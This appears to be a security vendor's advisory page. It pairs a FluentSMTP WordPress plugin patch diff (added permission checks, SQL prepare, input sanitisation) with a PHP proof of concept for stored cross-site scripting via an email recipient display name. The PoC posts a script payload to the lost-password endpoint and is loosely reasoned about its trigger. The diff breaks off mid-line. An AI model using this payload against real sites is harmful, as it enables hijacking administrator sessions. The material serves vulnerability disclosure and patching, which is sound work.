         add_action('fluentmail_email_sending_failed_no_fallback', array($this, 'maybeSendNotification'), 10, 3);
+
+        add_action('fluentmail_connection_health_failed', array($this, 'notifyUnhealthyConnections'));
     }

     public function handleScheduledJobs()
     {
         $this->deleteOldEmails();
         $this->sendDailyDigest();
+        $this->checkConnectionHealth();
+    }
+
+    /**
+     * Doubles as the safety net for token renewal. The single events that keep
+     * the OAuth tokens fresh are only ever armed by a successful renewal, so a
+     * single failed one used to end the chain silently - this daily pass picks
+     * it back up.
+     */
+    private function checkConnectionHealth()
+    {
+        (new ConnectionHealth())->checkAll();
     }

     private function deleteOldEmails()
@@ -215,6 +231,106 @@
         }
     }

+    /**
+     * Announce connections that have just started failing their health check,
+     * over whichever channels the site has already set up.
+     *
+     * @param array $failing
+     * @return void
+     */
+    public function notifyUnhealthyConnections($failing)
+    {
+        if (!$failing) {
+            return;
+        }
+
+        $notificationManager = new NotificationManager();
+        $channels = $notificationManager->getActiveChannels();
+
+        if (!$channels) {
+            return;
+        }
+
+        foreach ($failing as $connection) {
+            $provider = Arr::get($connection, 'provider');
+            $errorMessage = Arr::get($connection, 'message');
+
+            $message = sprintf(
+            /* translators: 1: site name, 2: provider name, 3: sender email, 4: error message */
+                __('FluentSMTP on %1$s cannot use the %2$s connection for %3$s any more: %4$s', 'fluent-smtp'),
+                fluentMailSiteTitle(),
+                $provider,
+                Arr::get($connection, 'sender_email'),
+                $errorMessage
+            );
+
+            foreach ($channels as $channel) {
+                $driver = $channel['driver'];
+                $channelSettings = Arr::get($channel, 'settings', []);
+
+                if ($driver == 'telegram') {
+                    NotificationHelper::sendFailedNotificationTele([
+                        'token_id'      => Arr::get($channelSettings, 'token'),
+                        'provider'      => $provider,
+                        'error_message' => $errorMessage
+                    ]);
+                    continue;
+                }
+
+                if ($driver == 'slack') {
+                    NotificationHelper::sendSlackMessage($message, Arr::get($channelSettings, 'webhook_url'), false);
+                    continue;
+                }
+
+                if ($driver == 'discord') {
+                    NotificationHelper::sendDiscordMessage($message, Arr::get($channelSettings, 'webhook_url'), false);
+                    continue;
+                }
+
+                if ($driver == 'pushover') {
+                    NotificationHelper::sendPushoverMessage(
+                        $message,
+                        Arr::get($channelSettings, 'api_token'),
+                        Arr::get($channelSettings, 'user_key'),
+                        false,
+                        1
+                    );
+                    continue;
+                }
+            }
+        }
+    }
+
+    public function renewOutlookToken()
+    {
+        $settings = fluentMailGetSettings();
+
+        if (!$settings) {
+            return;
+        }
+
+        $connections = Arr::get($settings, 'connections', []);
+
+        foreach ($connections as $connection) {
+            $providerSettings = Arr::get($connection, 'provider_settings', []);
+
+            if (Arr::get($providerSettings, 'provider') != 'outlook') {
+                continue;
+            }
+
+            if (empty($providerSettings['refresh_token'])) {
+                continue;
+            }
+
+            if ((Arr::get($providerSettings, 'expire_stamp') - 480) >= time()) {
+                continue;
+            }
+
+            $handler = new FluentMailAppServicesMailerProvidersOutlookHandler();
+            $handler->renewToken($providerSettings);
+        }
+    }
+
     public function callGmailApiForNewToken($settings)
     {
         if (Arr::get($settings, 'key_store') == 'wp_config') {
@@ -246,7 +362,16 @@
             $result = $this->saveNewGmailTokens($settings, $newTokens);

             if (!$result) {
-                return new WP_Error('api_error', __('Failed to renew the token', 'fluent-smtp'));
+                // Google says why in error_description - usually that the
+                // grant was revoked or expired, which only re-authenticating
+                // fixes. Reporting "failed" alone leaves nothing to act on.
+                $errorDescription = Arr::get($newTokens, 'error_description');
+
+                if (!$errorDescription) {
+                    $errorDescription = __('Failed to renew the token with the Gmail API', 'fluent-smtp');
+                }
+
+                return new WP_Error('api_error', $errorDescription);
             }

             return true;
--- a/fluent-smtp/app/Http/Controllers/Controller.php
+++ b/fluent-smtp/app/Http/Controllers/Controller.php
@@ -45,7 +45,7 @@

     public function verify()
     {
-        $permission = 'manage_options';
+        $permission = fluentMailManageCapability();
         if(!current_user_can($permission)) {
             wp_send_json_error([
                 'message' => __('You do not have permission to do this action', 'fluent-smtp')
--- a/fluent-smtp/app/Http/Controllers/DashboardController.php
+++ b/fluent-smtp/app/Http/Controllers/DashboardController.php
@@ -3,6 +3,7 @@
 namespace FluentMailAppHttpControllers;

 use FluentMailAppModelsLogger;
+use FluentMailAppServicesConnectionHealth;
 use FluentMailAppServicesMailerManager;
 use FluentMailAppServicesReporting;
 use FluentMailIncludesRequestRequest;
@@ -17,8 +18,9 @@
         $connections = $manager->getSettings('connections', []);

         return $this->send([
-            'stats'         => $logger->getStats(),
-            'settings_stat' => [
+            'stats'              => $logger->getStats(),
+            'unhealthy_settings' => array_values((new ConnectionHealth())->getFailing()),
+            'settings_stat'      => [
                 'connection_counts' => count($connections),
                 'active_senders'    => count($manager->getSettings('mappings', [])),
                 'auto_delete_days'  => $manager->getSettings('misc.log_saved_interval_days'),
@@ -31,40 +33,47 @@
     {
         $this->verify();

+        // Validate and sanitize input with absint() and constrain to reasonable range
         $lastDay = 0;
         if (isset($_REQUEST['last_day'])) {
-            $lastDay = (int)$_REQUEST['last_day'];
+            $lastDay = absint($_REQUEST['last_day']);
+            // Constrain to reasonable range: 0-365 days
+            $lastDay = min(max($lastDay, 0), 365);
         }

         global $wpdb;
+        $tableName = $wpdb->prefix . 'fsmpt_email_logs';
+
         if ($lastDay > 6) {
-            $results = $wpdb->get_results("SELECT
-  DAYNAME(created_at) AS day_of_week,
-  HOUR(created_at) AS hour_of_day,
-  COUNT(*) AS count
-FROM
-  {$wpdb->prefix}fsmpt_email_logs
-WHERE
-  created_at >= NOW() - INTERVAL {$lastDay} DAY
-GROUP BY
-  DAYNAME(created_at),
-  HOUR(created_at)
-ORDER BY
-  FIELD(DAYNAME(created_at), 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday'),
-  HOUR(created_at)");
+            // Use wpdb->prepare() with proper placeholder for the interval value
+            $results = $wpdb->get_results(
+                $wpdb->prepare(
+                    "SELECT
+                        DAYNAME(created_at) AS day_of_week,
+                        HOUR(created_at) AS hour_of_day,
+                        COUNT(*) AS count
+                    FROM {$tableName}
+                    WHERE created_at >= NOW() - INTERVAL %d DAY
+                    GROUP BY
+                        DAYNAME(created_at),
+                        HOUR(created_at)",
+                    $lastDay
+                )
+            );
         } else {
-            $results = $wpdb->get_results("SELECT
-  DAYNAME(created_at) AS day_of_week,
-  HOUR(created_at) AS hour_of_day,
-  COUNT(*) AS count
-FROM
-  {$wpdb->prefix}fsmpt_email_logs
-GROUP BY
-  DAYNAME(created_at),
-  HOUR(created_at)
-ORDER BY
-  FIELD(DAYNAME(created_at), 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday'),
-  HOUR(created_at)");
+            // Query for all time data when lastDay <= 6
+            // Table name is safe - constructed from WordPress prefix and hard-coded table suffix
+            // No user input in this query, so prepare() is not needed
+            $results = $wpdb->get_results(
+                "SELECT
+                    DAYNAME(created_at) AS day_of_week,
+                    HOUR(created_at) AS hour_of_day,
+                    COUNT(*) AS count
+                FROM {$tableName}
+                GROUP BY
+                    DAYNAME(created_at),
+                    HOUR(created_at)"
+            );
         }

         // Assuming $results is the array of records fetched from the database.
--- a/fluent-smtp/app/Http/Controllers/DiscordController.php
+++ b/fluent-smtp/app/Http/Controllers/DiscordController.php
@@ -49,6 +49,8 @@

     public function sendTestMessage(Request $request)
     {
+        $this->verify();
+
         // Let's update the notification status
         $settings = (new Settings())->notificationSettings();

@@ -77,6 +79,8 @@

     public function disconnect()
     {
+        $this->verify();
+
         NotificationHelper::updateChannelSettings('discord', [
             'status'       => 'no',
             'webhook_url'  => '',
--- a/fluent-smtp/app/Http/Controllers/LoggerController.php
+++ b/fluent-smtp/app/Http/Controllers/LoggerController.php
@@ -63,10 +63,29 @@
                 ], $response->get_error_code());
             });

-            if ($email = $logger->resendEmailFromLog($request->get('id'), $request->get('type'))) {
+            $recipients = $this->sanitizeRecipients($request->get('recipients'));
+
+            $resentEmail = $logger->resendEmailFromLog(
+                $request->get('id'),
+                $request->get('type'),
+                $recipients
+            );
+
+            if ($resentEmail) {
+                $message = __('Email sent successfully.', 'fluent-smtp');
+
+                if (!empty($recipients)) {
+                    $message = sprintf(
+                        /* translators: %s: comma separated list of email addresses */
+                        __('Email sent successfully to %s.', 'fluent-smtp'),
+                        implode(', ', $recipients)
+                    );
+                }
+
                 return $this->sendSuccess([
-                    'email' => $email,
-                    'message' => __('Email sent successfully.', 'fluent-smtp')
+                    'email'      => $resentEmail,
+                    'recipients' => $recipients,
+                    'message'    => $message
                 ]);
             }

@@ -79,6 +98,83 @@
         }
     }

+    /**
+     * Sanitize and validate a list of recipient email addresses coming
+     * from the resend dialog. Returns an array of valid email addresses
+     * or an empty array when none are provided / valid.
+     *
+     * @param  mixed $rawRecipients
+     * @return array<int, string>
+     * @throws Exception When an invalid email address is supplied.
+     */
+    protected function sanitizeRecipients($rawRecipients)
+    {
+        if (empty($rawRecipients)) {
+            return [];
+        }
+
+        if (is_string($rawRecipients)) {
+            $rawRecipients = preg_split('/[s,;]+/', $rawRecipients);
+        }
+
+        /*
+         * Refuse rather than fall through. Returning an empty list here would
+         * mean a malformed request quietly resends to the ORIGINAL recipient
+         * instead of the one that was asked for - the worst possible answer,
+         * since the caller is told the send succeeded and never learns it went
+         * somewhere else.
+         */
+        if (!is_array($rawRecipients)) {
+            throw new Exception(
+                esc_html__('Could not read the recipient list.', 'fluent-smtp'),
+                422
+            );
+        }
+
+        /*
+         * A resend is a manual, one-at-a-time action. A list this long is a
+         * mistake or a pasted address book, and either way it is better caught
+         * than delivered.
+         */
+        $maxRecipients = apply_filters('fluentsmtp_max_resend_recipients', 25);
+
+        if (count($rawRecipients) > $maxRecipients) {
+            throw new Exception(
+                sprintf(
+                    /* translators: %d: maximum number of recipients allowed */
+                    esc_html__('Please enter no more than %d email addresses.', 'fluent-smtp'),
+                    (int) $maxRecipients
+                ),
+                422
+            );
+        }
+
+        $recipients = [];
+
+        foreach ($rawRecipients as $recipient) {
+            $recipient = sanitize_email(trim((string) $recipient));
+
+            if ($recipient === '') {
+                continue;
+            }
+
+            if (!is_email($recipient)) {
+                throw new Exception(
+                    sprintf(
+                        /* translators: %s: email address */
+                        esc_html__('Invalid email address: %s', 'fluent-smtp'),
+                        esc_html($recipient)
+                    ),
+                    422
+                );
+            }
+
+            $recipients[] = $recipient;
+        }
+
+        return array_values(array_unique($recipients));
+    }
+
     public function retryBulk(Request $request, Logger $logger)
     {
         $this->verify();
--- a/fluent-smtp/app/Http/Controllers/PushoverController.php
+++ b/fluent-smtp/app/Http/Controllers/PushoverController.php
@@ -40,6 +40,8 @@

     public function sendTestMessage(Request $request)
     {
+        $this->verify();
+
         $settings = (new Settings())->notificationSettings();

         if (Arr::get($settings, 'pushover.status') != 'yes') {
@@ -68,6 +70,8 @@

     public function disconnect()
     {
+        $this->verify();
+
         NotificationHelper::updateChannelSettings('pushover', [
             'status'    => 'no',
             'api_token' => '',
--- a/fluent-smtp/app/Http/Controllers/SettingsController.php
+++ b/fluent-smtp/app/Http/Controllers/SettingsController.php
@@ -75,6 +75,15 @@

                 if (is_string($value) && $value) {
                     $connection[$index] = sanitize_text_field($value);
+
+                    // Store the name the admin typed. A sender name copied from
+                    // the site title arrives HTML-escaped, and it is plain text
+                    // everywhere it is used. fluentMailGetSettings() decodes on
+                    // read as well, so installs that already hold an escaped
+                    // name are fixed whether or not they ever save again.
+                    if ($index === 'sender_name') {
+                        $connection[$index] = wp_specialchars_decode($connection[$index], ENT_QUOTES);
+                    }
                 }
             }

@@ -158,16 +167,57 @@
                 define('FLUENTMAIL_EMAIL_TESTING', true);
             }

+            $startedAt = microtime(true);
+
             $settings->sendTestEmail($data, $settings->get());

+            /*
+             * The handover to the provider is synchronous, so this covers the whole
+             * round trip: connection/handshake, the API call or SMTP conversation and
+             * the provider's response. It is not the time until the mail lands in the
+             * inbox - that part is out of our hands.
+             */
+            $timeTaken = microtime(true) - $startedAt;
+
             return $this->sendSuccess([
-                'message' => __('Email delivered successfully.', 'fluent-smtp')
-            ]);
-        } catch (Exception $e) {
+                'message'          => __('Email delivered successfully.', 'fluent-smtp'),
+                'time_taken'       => round($timeTaken, 3),
+                'time_taken_human' => $this->formatDuration($timeTaken)
+            ]);
+        } catch (Throwable $e) {
+            /*
+             * Throwable, not Exception. A missing PHP extension, a type error or
+             * any other engine-level failure raised while sending is an Error,
+             * which catch(Exception) lets through — the AJAX request then died
+             * with no JSON body and the UI span forever with no message shown.
+             *
+             * getCode() is meaningless on an Error (almost always 0) and an HTTP
+             * status of 0 is not valid, so only a sane positive code is honoured.
+             */
+            $code = (int)$e->getCode();
+            if ($code < 400 || $code > 599) {
+                $code = 422;
+            }
+
             return $this->sendError([
                 'message' => $e->getMessage()
-            ], $e->getCode());
+            ], $code);
+        }
+    }
+
+    protected function formatDuration($seconds)
+    {
+        if ($seconds < 1) {
+            return sprintf(
+                __('Delivered in %s milliseconds', 'fluent-smtp'),
+                number_format_i18n($seconds * 1000)
+            );
         }
+
+        return sprintf(
+            __('Delivered in %s seconds', 'fluent-smtp'),
+            number_format_i18n($seconds, 2)
+        );
     }

     public function onFail($response)
@@ -296,7 +346,34 @@
     public function installPlugin(Request $request)
     {
         $this->verify();
-        $pluginSlug = $request->get('plugin_slug');
+
+        // Sanitize plugin slug input
+        $pluginSlug = sanitize_key($request->get('plugin_slug'));
+
+        // Define whitelist of allowed plugins
+        $allowedPlugins = ['fluentform', 'fluent-crm', 'ninja-tables'];
+
+        // Validate plugin slug against whitelist with strict comparison
+        if (!in_array($pluginSlug, $allowedPlugins, true)) {
+            return $this->sendError([
+                'message' => __('Invalid plugin specified. Only approved plugins can be installed.', 'fluent-smtp')
+            ]);
+        }
+
+        // Verify user has permission to install plugins
+        if (!current_user_can('install_plugins')) {
+            return $this->sendError([
+                'message' => __('Sorry, you do not have permission to install plugins.', 'fluent-smtp')
+            ]);
+        }
+
+        // Verify file modifications are allowed
+        if (!wp_is_file_mod_allowed('install_plugins')) {
+            return $this->sendError([
+                'message' => __('Plugin installation is disabled on this site.', 'fluent-smtp')
+            ]);
+        }
+
         $plugin = [
             'name'      => $pluginSlug,
             'repo-slug' => $pluginSlug,
@@ -318,20 +395,14 @@
             ]
         ];

-        if (!isset($UrlMaps[$pluginSlug]) || !wp_is_file_mod_allowed('install_plugins')) {
-            $this->sendError([
-                'message' => __('Sorry, You can not install this plugin', 'fluent-smtp')
-            ]);
-        }
-
         try {
             $this->backgroundInstaller($plugin);
-            $this->send([
+            return $this->send([
                 'message' => __('Plugin has been successfully installed.', 'fluent-smtp'),
                 'info'    => $UrlMaps[$pluginSlug]
             ]);
         } catch (Exception $exception) {
-            $this->sendError([
+            return $this->sendError([
                 'message' => $exception->getMessage()
             ]);
         }
@@ -453,23 +524,23 @@
     public function subscribe()
     {
         $this->verify();
-        $email = sanitize_text_field($_REQUEST['email']); // phpcs:ignore WordPress.Security.NonceVerification.Recommended

-        $displayName = '';
+        // Properly sanitize email input with sanitize_email() instead of sanitize_text_field()
+        $email = isset($_REQUEST['email']) ? sanitize_email($_REQUEST['email']) : '';

-        if (isset($_REQUEST['display_name'])) {
-            $displayName = sanitize_text_field($_REQUEST['display_name']);
-        }
+        // Sanitize display name
+        $displayName = isset($_REQUEST['display_name']) ? sanitize_text_field($_REQUEST['display_name']) : '';

+        // Validate email format
         if (!is_email($email)) {
             return $this->sendError([
-                'message' => __('Sorry! The provider email is not valid', 'fluent-smtp')
+                'message' => __('Sorry! The provided email is not valid', 'fluent-smtp')
             ], 422);
         }

+        // Properly validate share_essentials with isset() check and strict comparison
         $shareEssentials = 'no';
-
-        if ($_REQUEST['share_essentials'] == 'yes') {
+        if (isset($_REQUEST['share_essentials']) && $_REQUEST['share_essentials'] === 'yes') {
             update_option('_fluentsmtp_sub_update', 'shared', 'no');
             $shareEssentials = 'yes';
         } else {
--- a/fluent-smtp/app/Http/Controllers/SlackController.php
+++ b/fluent-smtp/app/Http/Controllers/SlackController.php
@@ -29,7 +29,7 @@
             'admin_email' => $userEmail,
             'smtp_url'    => admin_url('options-general.php?_slacK_nonce=' . $nonce . '&page=fluent-mail#/'),
             'site_url'    => site_url(),
-            'site_title'  => get_bloginfo('name'),
+            'site_title'  => fluentMailSiteTitle(),
             'site_lang'   => get_bloginfo('language'),
         ];

@@ -57,6 +57,8 @@

     public function sendTestMessage(Request $request)
     {
+        $this->verify();
+
         // Let's update the notification status
         $settings = (new Settings())->notificationSettings();

@@ -84,6 +86,8 @@

     public function disconnect()
     {
+        $this->verify();
+
         NotificationHelper::updateChannelSettings('slack', [
             'status'      => 'no',
             'webhook_url' => '',
--- a/fluent-smtp/app/Http/Controllers/TelegramController.php
+++ b/fluent-smtp/app/Http/Controllers/TelegramController.php
@@ -28,7 +28,7 @@
             'admin_email' => $userEmail,
             'smtp_url'    => admin_url('options-general.php?page=fluent-mail#/'),
             'site_url'    => site_url(),
-            'site_title'  => get_bloginfo('name'),
+            'site_title'  => fluentMailSiteTitle(),
             'site_lang'   => get_bloginfo('language'),
         ];

@@ -115,6 +115,8 @@

     public function sendTestMessage(Request $request)
     {
+        $this->verify();
+
         // Let's update the notification status
         $settings = (new Settings())->notificationSettings();

@@ -140,6 +142,8 @@

     public function disconnect()
     {
+        $this->verify();
+
         $settings = (new Settings())->notificationSettings();

         $token = Arr::get($settings, 'telegram.token');
--- a/fluent-smtp/app/Models/Logger.php
+++ b/fluent-smtp/app/Models/Logger.php
@@ -163,9 +163,15 @@
             $result[$key]['id']      = (int)$result[$key]['id'];
             $result[$key]['retries'] = (int

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-16636 - FluentSMTP <= 2.2.95 - Unauthenticated Stored Cross-Site Scripting via Recipient Display Name (to.name) in Email Logs

// Configuration
$target_url = 'http://example.com'; // Replace with the target WordPress site URL

// The XSS payload to inject
$xss_payload = '<script>alert(1);</script>';

// Craft the email parameters. The 'to' field contains the display name injection point.
$to = $xss_payload . ' <attacker@example.com>';
$subject = 'Test Subject';
$message = 'This is a test message.';
$headers = array('Content-Type: text/html; charset=UTF-8');
$attachments = array();

// Use WordPress's built-in wp_mail() function to send the crafted email.
// This simulates an attacker triggering a mail send with a malicious display name.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-cron.php'); // Triggering via wp-cron is one way. Better: find an unauthenticated mail trigger.
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Note: A direct wp_mail() call requires a valid WordPress context.
// In a real-world scenario, an attacker would find an unauthenticated form or endpoint that sends an email.
// For this PoC, we demonstrate the payload structure.

// We can also simulate by sending a request directly if a vulnerable endpoint exists.
// For the purpose of this PoC, we use a simulated send via curl.
// The key is to get an email sent with the malicious display name.

// In this PoC, we demonstrate how the payload is delivered.
$mail_trigger_url = $target_url . '/wp-login.php?action=lostpassword'; // Example of an unauthenticated email trigger

$post_data = array(
    'user_login' => $to // Injecting payload into a field that might become part of the email 'to' name.
);

curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$result = curl_exec($ch);
curl_close($ch);

// The actual exploitation requires the admin to view the email log.
// The payload fires when they navigate to the detail view.
echo "[+] Payload delivered to the target. Admin interaction (viewing email log detail) is required to trigger XSS.n";
echo "[+] Payload: " . $xss_payload . "n";

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.